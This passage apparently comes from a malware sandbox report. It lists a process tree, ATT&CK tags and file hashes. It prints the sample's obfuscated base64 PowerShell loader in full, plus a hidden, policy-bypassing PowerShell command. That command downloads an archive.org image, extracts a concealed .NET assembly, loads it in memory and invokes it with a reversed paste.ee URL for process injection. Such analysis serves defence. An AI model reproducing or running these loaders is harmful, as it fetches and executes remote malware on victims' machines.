☰ ䷸ ㈽ ⺹QwBv↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹dgBl↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBG↦ ☰ ䷸ ㈽ ⺹HI↦ ☰ ䷸ ㈽ ⺹bwBt↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹YQBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹Ng↦ ☰ ䷸ ㈽ ⺹0↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹By↦ ☰ ䷸ ㈽ ⺹Gk↦ ☰ ䷸ ㈽ ⺹bgBn↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bi↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹cwBl↦ ☰ ䷸ ㈽ ⺹DY↦ ☰ ䷸ ㈽ ⺹N↦ ☰ ䷸ ㈽ ⺹BD↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹bwBh↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBk↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹cwBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBi↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹eQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹D0↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹FM↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹UgBl↦ ☰ ䷸ ㈽ ⺹GY↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bg↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹cwBz↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹bQBi↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹eQBd↦ ☰ ䷸ ㈽ ⺹Do↦ ☰ ䷸ ㈽ ⺹OgBM↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹Bj↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹bQBt↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹bgBk↦ ☰ ䷸ ㈽ ⺹EI↦ ☰ ䷸ ㈽ ⺹eQB0↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹cw↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ds↦ ☰ ䷸ ㈽ ⺹J↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹Hk↦ ☰ ䷸ ㈽ ⺹c↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bl↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹QQBz↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹ZQBt↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹RwBl↦ ☰ ䷸ ㈽ ⺹HQ↦ ☰ ䷸ ㈽ ⺹V↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹Bu↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹aQBi↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹SQBP↦ ☰ ䷸ ㈽ ⺹C4↦ ☰ ䷸ ㈽ ⺹S↦ ☰ ䷸ ㈽ ⺹Bv↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹Ow↦ ☰ ䷸ ㈽ ⺹k↦ ☰ ䷸ ㈽ ⺹G0↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹bwBk↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹PQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹B5↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹Ec↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹E0↦ ☰ ䷸ ㈽ ⺹ZQB0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹bwBk↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹JwBW↦ ☰ ䷸ ㈽ ⺹EE↦ ☰ ䷸ ㈽ ⺹SQ↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹LgBJ↦ ☰ ䷸ ㈽ ⺹G4↦ ☰ ䷸ ㈽ ⺹dgBv↦ ☰ ䷸ ㈽ ⺹Gs↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹o↦ ☰ ䷸ ㈽ ⺹CQ↦ ☰ ䷸ ㈽ ⺹bgB1↦ ☰ ䷸ ㈽ ⺹Gw↦ ☰ ䷸ ㈽ ⺹b↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹C↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹WwBv↦ ☰ ䷸ ㈽ ⺹GI↦ ☰ ䷸ ㈽ ⺹agBl↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bb↦ ☰ ䷸ ㈽ ⺹F0↦ ☰ ䷸ ㈽ ⺹XQ↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cg↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹w↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹eQBz↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹bgBV↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹Z↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹ZQ↦ ☰ ䷸ ㈽ ⺹u↦ ☰ ䷸ ㈽ ⺹GU↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹c↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹v↦ ☰ ䷸ ㈽ ⺹C8↦ ☰ ䷸ ㈽ ⺹OgBz↦ ☰ ䷸ ㈽ ⺹H↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹B0↦ ☰ ䷸ ㈽ ⺹Gg↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹g↦ ☰ ䷸ ㈽ ⺹Cw↦ ☰ ䷸ ㈽ ⺹I↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹s↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹QQBk↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹SQBu↦ ☰ ䷸ ㈽ ⺹F↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹cgBv↦ ☰ ䷸ ㈽ ⺹GM↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹HM↦ ☰ ䷸ ㈽ ⺹Mw↦ ☰ ䷸ ㈽ ⺹y↦ ☰ ䷸ ㈽ ⺹Cc↦ ☰ ䷸ ㈽ ⺹L↦ ☰ ䷸ ㈽ ⺹↦ ☰ ䷸ ㈽ ⺹n↦ ☰ ䷸ ㈽ ⺹GQ↦ ☰ ䷸ ㈽ ⺹ZQBz↦ ☰ ䷸ ㈽ ⺹GE↦ ☰ ䷸ ㈽ ⺹d↦ ☰ ䷸ ㈽ ⺹Bp↦ ☰ ䷸ ㈽ ⺹HY↦ ☰ ䷸ ㈽ ⺹YQBk↦ ☰ ䷸ ㈽ ⺹G8↦ ☰ ䷸ ㈽ ⺹Jw↦ ☰ ䷸ ㈽ ⺹p↦ ☰ ䷸ ㈽ ⺹Ck↦ ☰ ䷸ ㈽ ⺹';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo.replace('↦ ☰ ䷸ ㈽ ⺹','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('0/yspnU/d/ee.etsap//:sptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32','desativado'))"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
7KB
MD5453baa8d1d683b966ef36c3d01a64bad
SHA16de6c9caf114cc9e48384c7f29a08ab81e26b943
SHA2562a08f00043306f4d0e17328577bbfec58c47d433b51b2d66e01b4edc6ee69d26
SHA512fada894f4af27e6cee0e40e827c126b39d2b2b24140bf68ed3ae6fb0cb89097376268b2696c5f08e73b0ad8969bdccaa1fde206b2c54ccee88e574e9c196af08
-
Filesize
7KB
MD5bc55e3563b435109580f65e18e97ea8c
SHA1c5d1d08d65ba7579f28412d96f7e0487974add05
SHA256fe1f32d91392e3847cf0cd59689967996b1ce958e2d32604927595255908f958
SHA51277764892d43b7c315bcefeb6d6699a7e03142e4706d121c0ed2b049c89a3ade12671c7b544fec7cf1eaa9bc7dad3a2f517d8539a835b0710bb5e1f46480edce0
-
Filesize
5.9MB
-
Filesize
5.9MB
-
Filesize
5.9MB
-
Filesize
5.9MB
-
Filesize
32KB
-
Filesize
2.9MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
4KB
-
Filesize
9.6MB
-
Filesize
4KB
-
Filesize
32KB
-
Filesize
2.9MB